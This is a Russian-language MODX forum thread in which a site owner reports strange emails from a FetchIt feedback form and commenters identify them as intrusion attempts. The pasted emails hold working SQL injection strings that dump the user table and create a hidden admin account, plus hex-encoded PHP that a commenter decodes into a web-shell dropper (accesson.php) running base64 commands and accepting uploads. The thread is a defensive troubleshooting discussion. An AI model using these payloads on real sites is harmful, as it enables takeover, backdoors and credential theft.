На почту приходят непонятные письма с формы FetchIt.

Приходят непонятные письма с формы обратный связи. Судя по всему это не спам боты, а плагины в MODX. При этом форма работает и присылает нормальные письмо при вводе номера телефона. Нужна помощь как избавиться от этих непонятных писем в какую сторону смотреть.

На сайте есть форма обратной связи FetchIt
[[!FetchIt?
  &form=`callbackform`
  &hooks=`email`
  &emailSubject=`Обратный звонок`
  &emailTpl=`TplEmailcallbackform`
  validate=`phoneform: required`
  &emailTo=`mail@mail.ru`
  &validationErrorMessage=`В форме содержатся ошибки!`
  &successMessage=`Сообщение успешно отправлено!`
]]

Это то что находится внутри &form=`callbackform`
<form action="[[~[[*id]]]]" method="post" class="p-4 p-md-5 border rounded-3 bg-primary bg-gradient">
          <div class="form-floating mb-3">
            <input name="phoneform" type="tel" class="form-control" id="phoneform" placeholder="+7 (XXX) XXX-XX-XX" pattern="(\+7|8)\s?[\(]?(\d{3})[\)]?\s?[\-]?(\d{3})[\-]?(\d{2})[\-]?(\d{2})" required>
            <label for="phoneform">Телефон</label>
            <div class="invalid-feedback" data-error="phoneform">[[+fi.error.phoneform]]</div>
          </div>
          <button class="w-100 btn btn-lg btn-light bg-gradient" type="submit">Жду звонка</button>
          <hr class="text-white my-4">
          <small class="text-white text-center">Свяжемся с вами в течении 1 минуты</small>
        </form>

Это то что находится внутри &emailTpl=`TplEmailcallbackform`
<h1>Форма обратного звонка</h1>
<p>Телефон: [[+phoneform]]</p>
<p>id страницы: [[*id]]</p>

Это письма за 11 марта. Время и само сообщение. Все письма отправляются с заголовком «Обратный звонок» при этом почему-то не соответствуют телу письма которое находится в &emailTpl=`TplEmailcallbackform`
19:46
0x:androxgh0st
18:05
ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_site_plugin_events (`pluginid`,`event`,`priority`,`propertyset`) VALUES ((SELECT id FROM modx_site_plugins WHERE `name`='phpinfo' LIMIT 1),'OnWebPageComplete',0,0);/*: GaGaGa
18:05
ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_site_plugin_events (`pluginid`,`event`,`priority`,`propertyset`) VALUES ((SELECT id FROM modx_site_plugins WHERE `name`='phpinfo' LIMIT 1),'OnPageNotFound',0,0);/*: GaGaGa
18:05
ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_site_plugins (`name`,`cache_type`,`plugincode`) VALUES ('phpinfo',0,UNHEX('2473203D20245F5345525645525B27444F43554D454E545F524F4F54275D2E272F6173736574732F273B247331203D2024732E27696D616765732F273B6D6B646972282473312C353131293B246668203D20666F70656E282473312E276163636573736F6E2E706870272C20277727293B667772697465282466682C20273C3F3D3430393732332A32303B6966286D643528245F434F4F4B49455B645D293D3D225C36315C7833375C36305C36325C7833385C3134365C7833345C37305C36375C3134335C3134325C7833325C3134315C37305C7833345C7833365C7833305C36375C7833365C36345C7833365C7836345C3134315C36335C3134315C3134345C36335C37305C36375C7833385C3134355C31343322297B6563686F225C7836665C783662223B6576616C286261736536345F6465636F646528245F524551554553545B69645D29293B696628245F504F53545B225C3136355C313630225D3D3D225C3136355C78373022297B40636F707928245F46494C45535B225C7836365C3135315C7836635C783635225D5B225C3136345C3135355C7837305C7835665C783665<strong></strong>5C7836315C7836645C783635225D2C245F46494C45535B225C3134365C7836395C3135345C783635225D5B225C3135365C3134315C3135355C783635225D293B7D7D3F3E27293B66636C6F736528246668293B756E6C696E6B2824732E272E687461636365737327293B756E6C696E6B282473312E272E687461636365737327293B'));/*: GaGaGa
18:05
ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_site_content (`type`,`contentType`,`pagetitle`,`alias`,`published`,`content`,`editedby`,`editedon`,`hidemenu`,`uri`) VALUES ('document','text/html','sosol','sosol',1,UNHEX('3c703e5b5b21736f736f6c5d5d3c2f703e'),1,1360844251,1,'sosol');/*: GaGaGa
18:05
ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_site_snippets (`source`,`name`,`snippet`) VALUES (1,'sosol',UNHEX('2473203D20245F5345525645525B27444F43554D454E545F524F4F54275D2E272F6173736574732F273B247331203D2024732E27696D616765732F273B6D6B646972282473312C353131293B246668203D20666F70656E282473312E276163636573736F6E2E706870272C20277727293B667772697465282466682C20273C3F3D3430393732332A32303B6966286D643528245F434F4F4B49455B645D293D3D225C36315C7833375C36305C36325C7833385C3134365C7833345C37305C36375C3134335C3134325C7833325C3134315C37305C7833345C7833365C7833305C36375C7833365C36345C7833365C7836345C3134315C36335C3134315C3134345C36335C37305C36375C7833385C3134355C31343322297B6563686F225C7836665C783662223B6576616C286261736536345F6465636F646528245F524551554553545B69645D29293B696628245F504F53545B225C3136355C313630225D3D3D225C3136355C78373022297B40636F707928245F46494C45535B225C7836365C3135315C7836635C783635225D5B225C3136345C3135355C7837305C7835665C7836655C7836315C7836645C783635225D2C245F46494C45535B225C3134365C7836395C3135345C783635225D5B225C3135365C3134315C3135355C783635225D293B7D7D3F3E27293B66636C6F736528246668293B756E6C696E6B2824732E272E687461636365737327293B756E6C696E6B282473312E272E687461636365737327293B'));/*: GaGaGa
18:05
ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);UPDATE modx_system_settings SET `value`='1' WHERE `key`='cache_disabled';UPDATE modx_system_settings SET `value`='0' WHERE `key`='cache_default';UPDATE modx_system_settings SET `value`='0' WHERE `key`='cache_system_settings';/*: GaGaGa
16:10
config_prefer_imagemagick: 0
src: http
f: php
action: web/phpthumb
useRawIMoutput: 1
IMresizedData:
12:50
ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);UPDATE modx_user_attributes SET `internalKey` = (SELECT `id` FROM modx_users WHERE `username`='modxsecure' LIMIT 1) WHERE `internalKey` = 0;/*: GaGaGa
12:50
ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(1);UNION SELECT id,username,password FROM modx_users WHERE username IN('modxsecure');/*: GaGaGa
12:50
ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_user_attributes (`email`,`blocked`) VALUES ('yumnitest@modxz.com', 0);/*: GaGaGa
12:50
ctx.rank` IN (666) UNION SELECT id,username,password FROM modx_users WHERE id IN(99999);INSERT INTO modx_users(`username`,`password`,`active`,`salt`,`primary_group`,`sudo`) VALUES('modxsecure','K/kCexN2TCvP4/L9w7i+IlzKfRVbH9MlhE4hXmD88Mw=', 1, 'dd257bbc31dbe5c3518c95b592f5bfca', 1, 1);/*: GaGaGa
12:50
config_prefer_imagemagick: 0
src: http
f: php
action: web/phpthumb
useRawIMoutput: 1
IMresizedData:

На сайте установлены следящие пакеты (Все плагины последней версии)
— FetchIt
— FormIt
— MIGX
— MinifyHTML
— pdoTools
— pThumb
— Resizer
— SEO Suite
— Translitor

MODX Версии 3.0.4

P.s. 12.03.2024
Сейчас обратил внимание что у меня validate=`phoneform: required` стоит без & возможно поэтому получается отправить данные без корректного заполнения номера. Сейчас исправлю и буду смотреть дальше.
Арман
12 марта 2024, 00:59
modx.pro
718
0

Комментарии: 11

Артур Шевченко
12 марта 2024, 09:28
+1
Больше похоже на попытку SQL-инъекции.
    Арман
    12 марта 2024, 11:19
    0
    SQL-инъекции начали приходить недавно. А до этого приходило следующее.

    12:50
    config_prefer_imagemagick: 0
    src: http
    f: php
    action: web/phpthumb
    useRawIMoutput: 1
    IMresizedData:
      Наумов Алексей
      12 марта 2024, 12:42
      0
      Хорошо бы отловить запросы на сервер и данные в них, которые приводят к такому поведению.

      А так да, прям попыточка взломать всё.

      К примеру видны попытки вытащить таблицу пользователей, попытки создания сниппетов, типа такого

      $s = $_SERVER['DOCUMENT_ROOT'].'/assets/';$s1 = $s.'images/';mkdir($s1,511);$fh = fopen($s1.'accesson.php', 'w');fwrite($fh, '<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>');fclose($fh);unlink($s.'.htaccess');unlink($s1.'.htaccess');
      беглый поиск по «accesson.php» показывает, что так ломали сайты на modx еще с версии 2,6,4, когда были уязвимости найдены…
        Арман
        12 марта 2024, 13:05
        0
        Я посмотрел вроде он также пытался создать пользователя но у него не получилось. Sql-иньекцию пытались сделать только 1 раз 11 марта судя по почте. С этим всё понятно а что значат остальные сообщения. Которые приходят уже почти неделю с разным временем и количеством каждый день. Такие вот 3 сообщения

        debug: true

        0x:androxgh0st

        config_prefer_imagemagick: 0
        src: http
        f: php
        action: web/phpthumb
        useRawIMoutput: 1
        IMresizedData:
          Артур Шевченко
          12 марта 2024, 13:25
          0
          Это всё попытки взлома. Скорее всего бомбят action.php. Вариант защиты использовать токен. Можешь попробовать использовать SendIt.
            Наумов Алексей
            12 марта 2024, 14:00
            0
            большой вопрос — почему в почту попадает вот это а не содержимое чанка письма…
              Арман
              12 марта 2024, 14:18
              0
              Почему-то берет во внимания &emailSubject=`Обратный звонок` но игнорирует &emailTpl=`TplEmailcallbackform`. Я исправил validate=`phoneform: required` добавил к нему & возможно из-за этого как-то некорректно работало.
                Сергей
                21 марта 2024, 12:19
                0
                Через AjaxForm без FetchIt происходит тоже самое, игнорирование измененного чанка письма, удаленных/измененных input, проверок на пустоту и тд. Прямая какая-то проброска идет через assets/components/ajaxform/action.php.
                  Арман
                  22 марта 2024, 05:52
                  0
                  После исправления (добавления) & к validate=`phoneform: required` шаблон письма (&emailTpl) начал работать. Но письма пустые продолжают приходить
                  Форма обратного звонка
                  Телефон:
                  
                  id страницы: 1

                  Я выключил &emailTpl чтобы посмотреть что приходит. В данный момент приходят только это письма каждый день по нескольку раз.
                  config_prefer_imagemagick: 0
                  src: http
                  f: php
                  action: web/phpthumb
                  useRawIMoutput: 1
                  IMresizedData:
                  phoneform:

                  phtumb и resizer отключил но это не помогло.
                    Арман
                    22 марта 2024, 06:00
                    0
                    Так же заметил что это сообщение приходит только с id страницы: 1 то есть с главной страницы
                      Сергей
                      22 марта 2024, 09:55
                      0
                      У меня тоже было с одной страницы весь спам. Пробуй сделать что написал Павел, только в
                      assets/components/fetchit/action.php
            Авторизуйтесь или зарегистрируйтесь, чтобы оставлять комментарии.
            11